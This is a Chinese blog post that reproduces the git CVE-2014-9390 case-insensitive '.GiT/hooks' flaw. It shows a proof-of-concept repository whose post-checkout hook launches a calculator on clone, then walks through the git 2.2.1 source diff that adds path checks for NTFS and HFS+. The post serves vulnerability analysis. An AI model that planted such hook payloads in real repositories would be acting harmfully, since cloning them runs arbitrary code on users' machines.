git CVE-2014-9390 验证以及源码对比

一 验证部分

 首先在ubuntu下面建立如下工程

mkdir repo
cd repo
git init
mkdir -p .GiT/hooks
cp post-checkout .GiT/hooks
cat post-checkout
内容如下
#!/bin/sh
calc.exe
calc
open /Applications/Calculator.app/
gnome-calculator

  然后将工程提交到git服务器,由于github已经不能提交.Git这种目录,我就自己搭建了一个服务器.

 git remote add origin git@10.10.10.133:/home/git/project.git

 git push origin master 

然后在windows下验证,由于此bug只能在大小写不敏感的文件系统上才能重现,所以客户端只能是windows或者mac.

$ git --version
git version 1.9.2.msysgit.0

$ git clone git@10.10.10.133:/home/git/project.git
Cloning into 'project'...
git@10.10.10.133's password:
remote: Counting objects: 12, done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 12 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (12/12), done.
Checking connectivity... done.
.git/hooks/post-checkout: line 4: open: command not found
.git/hooks/post-checkout: line 5: gnome-calculator: command not found

 

 

结果打开两次计算器.

 

如果使用升级以后的git呢,我们来看看git 1.9.5

$ git clone git@10.10.10.133:/home/git/project.git
Cloning into 'project'...
git@10.10.10.133's password:
remote: Counting objects: 12, done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 12 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (12/12), done.
Checking connectivity... done.
error: Invalid path '.GiT/hooks/post-checkout'

Administrator@MICRO-6A55C209C /c/repo
$ git --version
git version 1.9.5.msysgit.0

 

 

这里报错,说.GiT是一个无效的路径,被过滤掉了.

这个错误从本质上来说就是因为在linux系统下面,.Git/hooks/post-checkout只是一个普通文件.但是对于大小写不敏感的系统,这个文件会覆盖git系统的.git/hooks/post-checkout这个配置文件,导致的结果是任意命令的执行.

这个本来是git的一个功能,来提高git对于项目管理的灵活性,并且一般clone的时候是不会clone .git/下面的配置文件的.

 二 源码对比

接下来我们来看看git最新版本做了哪些改动呢?

我将最新的git-2.2.1和git-2.2.0(这个是官方版本,windows下用的是msysgit,所以版本号不一致)

diff -r git-2.2.0 git-2.2.1

输出结果如下:

Only in git-2.2.1/Documentation/RelNotes: 1.8.5.6.txt
Only in git-2.2.1/Documentation/RelNotes: 1.9.5.txt
Only in git-2.2.1/Documentation/RelNotes: 2.0.5.txt
Only in git-2.2.1/Documentation/RelNotes: 2.1.4.txt
Only in git-2.2.1/Documentation/RelNotes: 2.2.1.txt
diff -r git-2.2.0/Documentation/config.txt git-2.2.1/Documentation/config.txt
248a249,259
> core.protectHFS::
> If set to true, do not allow checkout of paths that would
> be considered equivalent to `.git` on an HFS+ filesystem.
> Defaults to `true` on Mac OS, and `false` elsewhere.
> 
> core.protectNTFS::
> If set to true, do not allow checkout of paths that would
> cause problems with the NTFS filesystem, e.g. conflict with
> 8.3 "short" names.
> Defaults to `true` on Windows, and `false` elsewhere.
> 
diff -r git-2.2.0/Documentation/git.txt git-2.2.1/Documentation/git.txt
46c46
< * link:v2.2.0/git.html[documentation for release 2.2]
---
> * link:v2.2.1/git.html[documentation for release 2.2.1]
48a49
> link:RelNotes/2.2.1.txt[2.2.1],
51c52
< * link:v2.1.3/git.html[documentation for release 2.1.3]
---
> * link:v2.1.4/git.html[documentation for release 2.1.4]
53a55
> link:RelNotes/2.1.4.txt[2.1.4],
59c61
< * link:v2.0.4/git.html[documentation for release 2.0.4]
---
> * link:v2.0.5/git.html[documentation for release 2.0.5]
61a64
> link:RelNotes/2.0.5.txt[2.0.5],
68c71
< * link:v1.9.4/git.html[documentation for release 1.9.4]
---
> * link:v1.9.5/git.html[documentation for release 1.9.5]
70a74
> link:RelNotes/1.9.5.txt[1.9.5],
77c81
< * link:v1.8.5.5/git.html[documentation for release 1.8.5.5]
---
> * link:v1.8.5.6/git.html[documentation for release 1.8.5.6]
79a84
> link:RelNotes/1.8.5.6.txt[1.8.5.6],
diff -r git-2.2.0/GIT-VERSION-GEN git-2.2.1/GIT-VERSION-GEN
4c4
< DEF_VER=v2.2.0
---
> DEF_VER=v2.2.1
diff -r git-2.2.0/RelNotes git-2.2.1/RelNotes
1c1
< Documentation/RelNotes/2.2.0.txt
\ No newline at end of file
---
> Documentation/RelNotes/2.2.1.txt
\ No newline at end of file
diff -r git-2.2.0/cache.h git-2.2.1/cache.h
619a620,621
> extern int protect_hfs;
> extern int protect_ntfs;
833a836
> extern int is_ntfs_dotgit(const char *name);
diff -r git-2.2.0/config.c git-2.2.1/config.c
898a899,908
> if (!strcmp(var, "core.protecthfs")) {
> protect_hfs = git_config_bool(var, value);
> return 0;
> }
> 
> if (!strcmp(var, "core.protectntfs")) {
> protect_ntfs = git_config_bool(var, value);
> return 0;
> }
> 
diff -r git-2.2.0/config.mak.uname git-2.2.1/config.mak.uname
107a108
> BASIC_CFLAGS += -DPROTECT_HFS_DEFAULT=1
375a377
> BASIC_CFLAGS += -DPROTECT_NTFS_DEFAULT=1
516a519
> BASIC_CFLAGS += -DPROTECT_NTFS_DEFAULT=1
diff -r git-2.2.0/configure git-2.2.1/configure
3c3
< # Generated by GNU Autoconf 2.69 for git 2.2.0.
---
> # Generated by GNU Autoconf 2.69 for git 2.2.1.
583,584c583,584
< PACKAGE_VERSION='2.2.0'
< PACKAGE_STRING='git 2.2.0'
---
> PACKAGE_VERSION='2.2.1'
> PACKAGE_STRING='git 2.2.1'
1254c1254
< \`configure' configures git 2.2.0 to adapt to many kinds of systems.
---
> \`configure' configures git 2.2.1 to adapt to many kinds of systems.
1315c1315
< short | recursive ) echo "Configuration of git 2.2.0:";;
---
> short | recursive ) echo "Configuration of git 2.2.1:";;
1454c1454
< git configure 2.2.0
---
> git configure 2.2.1
1934c1934
< It was created by git $as_me 2.2.0, which was
---
> It was created by git $as_me 2.2.1, which was
7825c7825
< This file was extended by git $as_me 2.2.0, which was
---
> This file was extended by git $as_me 2.2.1, which was
7882c7882
< git config.status 2.2.0
---
> git config.status 2.2.1
diff -r git-2.2.0/environment.c git-2.2.1/environment.c
66a67,76
> #ifndef PROTECT_HFS_DEFAULT
> #define PROTECT_HFS_DEFAULT 0
> #endif
> int protect_hfs = PROTECT_HFS_DEFAULT;
> 
> #ifndef PROTECT_NTFS_DEFAULT
> #define PROTECT_NTFS_DEFAULT 0
> #endif
> int protect_ntfs = PROTECT_NTFS_DEFAULT;
> 
diff -r git-2.2.0/fsck.c git-2.2.1/fsck.c
9a10
> #include "utf8.h"
174c175,177
< has_dotgit |= !strcmp(name, ".git");
---
> has_dotgit |= (!strcmp(name, ".git") ||
> is_hfs_dotgit(name) ||
> is_ntfs_dotgit(name));
diff -r git-2.2.0/git.spec git-2.2.1/git.spec
4c4
< Version: 2.2.0
---
> Version: 2.2.1
diff -r git-2.2.0/path.c git-2.2.1/path.c
825a826,858
> 
> static int only_spaces_and_periods(const char *path, size_t len, size_t skip)
> {
> if (len < skip)
> return 0;
> len -= skip;
> path += skip;
> while (len-- > 0) {
> char c = *(path++);
> if (c != ' ' && c != '.')
> return 0;
> }
> return 1;
> }
> 
> int is_ntfs_dotgit(const char *name)
> {
> int len;
> 
> for (len = 0; ; len++)
> if (!name[len] || name[len] == '\\' || is_dir_sep(name[len])) {
> if (only_spaces_and_periods(name, len, 4) &&
> !strncasecmp(name, ".git", 4))
> return 1;
> if (only_spaces_and_periods(name, len, 5) &&
> !strncasecmp(name, "git~1", 5))
> return 1;
> if (name[len] != '\\')
> return 0;
> name += len + 1;
> len = -1;
> }
> }
diff -r git-2.2.0/po/de.po git-2.2.1/po/de.po
647c647
< msgstr "FEHLER: Wiederer枚ffnen einer bereits ge枚ffneten Lock-Datei"
---
> msgstr "FEHLER: Wieder枚ffnen einer bereits ge枚ffneten Lock-Datei"
651c651
< msgstr "FEHLER: Wiederer枚ffnen einer bereits committeten Lock-Datei"
---
> msgstr "FEHLER: Wieder枚ffnen einer bereits committeten Lock-Datei"
1959c1959
< msgstr " (benutzen Sie die Option -u, um unbeobachteten Dateien anzuzeigen)"
---
> msgstr " (benutzen Sie die Option -u, um unbeobachtete Dateien anzuzeigen)"
2813c2813
< msgstr "Inhalte der <Datei>en als entg眉ltiges Abbild benutzen"
---
> msgstr "Inhalte der <Datei>en als endg眉ltiges Abbild benutzen"
3081c3081
< msgstr "farbliche Ausgaben verwenden"
---
> msgstr "farbige Ausgaben verwenden"
5588c5588
< msgstr "Platzhalter als TCL-String formatieren"
---
> msgstr "Platzhalter als Tcl-String formatieren"
6895c6895
< msgstr "zwischengespeicherten Dateien in der Ausgabe anzeigen (Standard)"
---
> msgstr "zwischengespeicherte Dateien in der Ausgabe anzeigen (Standard)"
8122c8122
< msgstr "keine k眉nstlichen Vorg盲nger-Commit (\"grafts\") verbergen"
---
> msgstr "keine k眉nstlichen Vorg盲nger-Commits (\"grafts\") verbergen"
9698c9698
< msgstr "'*!+-' entsprechend des Branches einf盲rgen"
---
> msgstr "'*!+-' entsprechend des Branches einf盲rben"
diff -r git-2.2.0/read-cache.c git-2.2.1/read-cache.c
19a20
> #include "utf8.h"
779c780,781
< if (rest[1] != 'i')
---
> case 'G':
> if (rest[1] != 'i' && rest[1] != 'I')
781c783
< if (rest[2] != 't')
---
> if (rest[2] != 't' && rest[2] != 'T')
804a807,810
> if (protect_hfs && is_hfs_dotgit(path))
> return 0;
> if (protect_ntfs && is_ntfs_dotgit(path))
> return 0;
Only in git-2.2.1/t: t1014-read-tree-confusing.sh
diff -r git-2.2.0/t/t1450-fsck.sh git-2.2.1/t/t1450-fsck.sh
312,341c312,346
< test_expect_success 'fsck notices "." and ".." in trees' '
< (
< git init dots &&
< cd dots &&
< blob=$(echo foo | git hash-object -w --stdin) &&
< tab=$(printf "\\t") &&
< git mktree <<-EOF &&
< 100644 blob $blob$tab.
< 100644 blob $blob$tab..
< EOF
< git fsck 2>out &&
< cat out &&
< grep "warning.*\\." out
< )
< '
< 
< test_expect_success 'fsck notices ".git" in trees' '
< (
< git init dotgit &&
< cd dotgit &&
< blob=$(echo foo | git hash-object -w --stdin) &&
< tab=$(printf "\\t") &&
< git mktree <<-EOF &&
< 100644 blob $blob$tab.git
< EOF
< git fsck 2>out &&
< cat out &&
< grep "warning.*\\.git" out
< )
< '
---
> while read name path pretty; do
> while read mode type; do
> : ${pretty:=$path}
> test_expect_success "fsck notices $pretty as $type" '
> (
> git init $name-$type &&
> cd $name-$type &&
> echo content >file &&
> git add file &&
> git commit -m base &&
> blob=$(git rev-parse :file) &&
> tree=$(git rev-parse HEAD^{tree}) &&
> value=$(eval "echo \$$type") &&
> printf "$mode $type %s\t%s" "$value" "$path" >bad &&
> bad_tree=$(git mktree <bad) &&
> git fsck 2>out &&
> cat out &&
> grep "warning.*tree $bad_tree" out
> )'
> done <<-\EOF
> 100644 blob
> 040000 tree
> EOF
> done <<-EOF
> dot .
> dotdot ..
> dotgit .git
> dotgit-case .GIT
> dotgit-unicode .gI${u200c}T .gI{u200c}T
> dotgit-case2 .Git
> git-tilde1 git~1
> dotgitdot .git.
> dot-backslash-case .\\\\.GIT\\\\foobar
> dotgit-case-backslash .git\\\\foobar
> EOF
diff -r git-2.2.0/t/test-lib.sh git-2.2.1/t/test-lib.sh
172c172,176
< export _x05 _x40 _z40 LF
---
> # UTF-8 ZERO WIDTH NON-JOINER, which HFS+ ignores
> # when case-folding filenames
> u200c=$(printf '\342\200\214')
> 
> export _x05 _x40 _z40 LF u200c
diff -r git-2.2.0/unpack-trees.c git-2.2.1/unpack-trees.c
101c101
< static void do_add_entry(struct unpack_trees_options *o, struct cache_entry *ce,
---
> static int do_add_entry(struct unpack_trees_options *o, struct cache_entry *ce,
110,111c110,111
< add_index_entry(&o->result, ce,
< ADD_CACHE_OK_TO_ADD | ADD_CACHE_OK_TO_REPLACE);
---
> return add_index_entry(&o->result, ce,
> ADD_CACHE_OK_TO_ADD | ADD_CACHE_OK_TO_REPLACE);
612c612,614
< do_add_entry(o, src[i], 0, 0);
---
> if (do_add_entry(o, src[i], 0, 0))
> return -1;
> 
diff -r git-2.2.0/utf8.c git-2.2.1/utf8.c
563a564,627
> 
> /*
> * Pick the next char from the stream, folding as an HFS+ filename comparison
> * would. Note that this is _not_ complete by any means. It's just enough
> * to make is_hfs_dotgit() work, and should not be used otherwise.
> */
> static ucs_char_t next_hfs_char(const char **in)
> {
> while (1) {
> ucs_char_t out = pick_one_utf8_char(in, NULL);
> /*
> * check for malformed utf8. Technically this
> * gets converted to a percent-sequence, but
> * returning 0 is good enough for is_hfs_dotgit
> * to realize it cannot be .git
> */
> if (!*in)
> return 0;
> 
> /* these code points are ignored completely */
> switch (out) {
> case 0x200c: /* ZERO WIDTH NON-JOINER */
> case 0x200d: /* ZERO WIDTH JOINER */
> case 0x200e: /* LEFT-TO-RIGHT MARK */
> case 0x200f: /* RIGHT-TO-LEFT MARK */
> case 0x202a: /* LEFT-TO-RIGHT EMBEDDING */
> case 0x202b: /* RIGHT-TO-LEFT EMBEDDING */
> case 0x202c: /* POP DIRECTIONAL FORMATTING */
> case 0x202d: /* LEFT-TO-RIGHT OVERRIDE */
> case 0x202e: /* RIGHT-TO-LEFT OVERRIDE */
> case 0x206a: /* INHIBIT SYMMETRIC SWAPPING */
> case 0x206b: /* ACTIVATE SYMMETRIC SWAPPING */
> case 0x206c: /* INHIBIT ARABIC FORM SHAPING */
> case 0x206d: /* ACTIVATE ARABIC FORM SHAPING */
> case 0x206e: /* NATIONAL DIGIT SHAPES */
> case 0x206f: /* NOMINAL DIGIT SHAPES */
> case 0xfeff: /* ZERO WIDTH NO-BREAK SPACE */
> continue;
> }
> 
> /*
> * there's a great deal of other case-folding that occurs,
> * but this is enough to catch anything that will convert
> * to ".git"
> */
> return tolower(out);
> }
> }
> 
> int is_hfs_dotgit(const char *path)
> {
> ucs_char_t c;
> 
> if (next_hfs_char(&path) != '.' ||
> next_hfs_char(&path) != 'g' ||
> next_hfs_char(&path) != 'i' ||
> next_hfs_char(&path) != 't')
> return 0;
> c = next_hfs_char(&path);
> if (c && !is_dir_sep(c))
> return 0;
> 
> return 1;
> }
diff -r git-2.2.0/utf8.h git-2.2.1/utf8.h
44a45,52
> /*
> * Returns true if the the path would match ".git" after HFS case-folding.
> * The path should be NUL-terminated, but we will match variants of both ".git\0"
> * and ".git/..." (but _not_ ".../.git"). This makes it suitable for both fsck
> * and verify_path().
> */
> int is_hfs_dotgit(const char *path);
> 
diff -r git-2.2.0/version git-2.2.1/version
1c1
< 2.2.0
---
> 2.2.1

 

可以看出改动很小,主要以下几个方面:

1. 添加了core.protectHFS 针对苹果系统

 添加了core.protectNTFS 针对windows系统

2. 在fsck.c中

原来的has_dotgit |= !strcmp(name, ".git");

变成了

has_dotgit |= (!strcmp(name, ".git") ||
is_hfs_dotgit(name) ||
is_ntfs_dotgit(name));

而如果has_gotgit为1,那么在后面将会报错

if (has_dotgit)
retval += error_func(&item->object, FSCK_WARN, "contains '.git'");

 

fsck是用于git 一致性检查,我们暂时先忽略它.

3.在path.c中加入了

static int only_spaces_and_periods(const char *path, size_t len, size_t skip)
{
    if (len < skip)
        return 0;
    len -= skip;
    path += skip;
    while (len-- > 0) {
        char c = *(path++);
        if (c != ' ' && c != '.')
            return 0;
    }
    return 1;
}

int is_ntfs_dotgit(const char *name)
{
    int len;

    for (len = 0; ; len++)
        if (!name[len] || name[len] == '\\' || is_dir_sep(name[len])) {
            if (only_spaces_and_periods(name, len, 4) &&
                    !strncasecmp(name, ".git", 4))
                return 1;
            if (only_spaces_and_periods(name, len, 5) &&
                    !strncasecmp(name, "git~1", 5))
                return 1;
            if (name[len] != '\\')
                return 0;
            name += len + 1;
            len = -1;
        }
}
is_ntfs_dotgit主要是用来判断路名是不是以.git开头,这里检查的比较宽泛,诸如..git,..Git,'  .git'都被算做了以git开头,其实后两种情况,我在windows下面验证了,是不会和.git造成混淆的,可能是谨慎起见吧.

4. 使用
接下来是这个函数的使用,在read-cache.c中,这个才是我们clone的时候调用的函数.
一个是在

static int verify_dotfile(const char *rest)函数中,对于各种情况的大小写.git都认为是非法的.

还有就是

int verify_path(const char *path)中,对于路径的验证.

if (protect_hfs && is_hfs_dotgit(path))
    return 0;
if (protect_ntfs && is_ntfs_dotgit(path))
 return 0;

对于ntfs和hfs都进行了验证.

最后

由于没有苹果系统,这里就不对hfs进行解析了,其实两者做的工作差不多,只不过hfs又要考虑编码问题,这里就不写明了,感兴趣的读者自己去分析吧.

 

posted on 2014-12-24 22:40  baizx  阅读(789)  评论(0编辑  收藏  举报